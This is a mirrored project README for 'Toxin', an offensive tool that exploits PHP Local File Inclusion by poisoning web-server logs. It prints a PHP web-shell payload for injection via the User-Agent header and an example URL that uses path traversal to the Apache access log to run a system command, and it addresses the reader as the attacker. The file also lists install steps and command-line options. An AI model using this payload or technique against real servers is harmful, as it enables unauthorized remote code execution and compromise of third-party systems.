Giter Club home page Giter Club logo

toxin's Introduction

Toxin

Toxin is an LFI (Local File Inclusion)/Log Pollution Exploitation Tool.

Introduction

Toxin exploits a particular (and yet also common)type of Local File Inclusion (LFI) vulnerability wherein the attacker is able to take advantage of PHP's register_globals setting.

In this attack scenario, the attacker would craft a custom User-Agent header which would contain arbitrary PHP code that would register a new global variable to the environment like so:

<?php system($_GET['cmd']); ?>

With the new, malicious global variable registered, we can add it to a query string within a URL containing a file on the target host which is vulnerable to inclusion, and then use the file along with the query string to execute arbitrary system-level commands, like so:

http://target.tld/info.php?page=../../../../../var/log/apache/access.log&cmd=whoami

There are a number of common files which typically fall prey to this attack, Toxin does not attempt to fuzz for those files, but instead expects you, the attacker, to have prior knowledge of your target.

Installation

$ python setup.py install

Usage

  ______           _
 /_  __/___  _  __(_)___
  / / / __ \| |/_/ / __ \
 / / / /_/ />  </ / / / /
/_/  \____/_/|_/_/_/ /_/


Usage: toxin [OPTIONS]

  Toxin: Local File Inclusion Exploitation Tool

Options:
  -u, --url TEXT        URL to query
  -p, --parameter TEXT  Parameter to inject into User-Agent header
                        (Default: 'cmd')
  -c, --command TEXT    Command to Run
  -m, --mode TEXT       Mode (Inject or Exploit)
  -g, --paged           Paged Output
  --version             Show the version and exit.
  --help                Show this message and exit.
  -h                    Show this message and exit.

toxin's People

Contributors

boxingoctopus avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.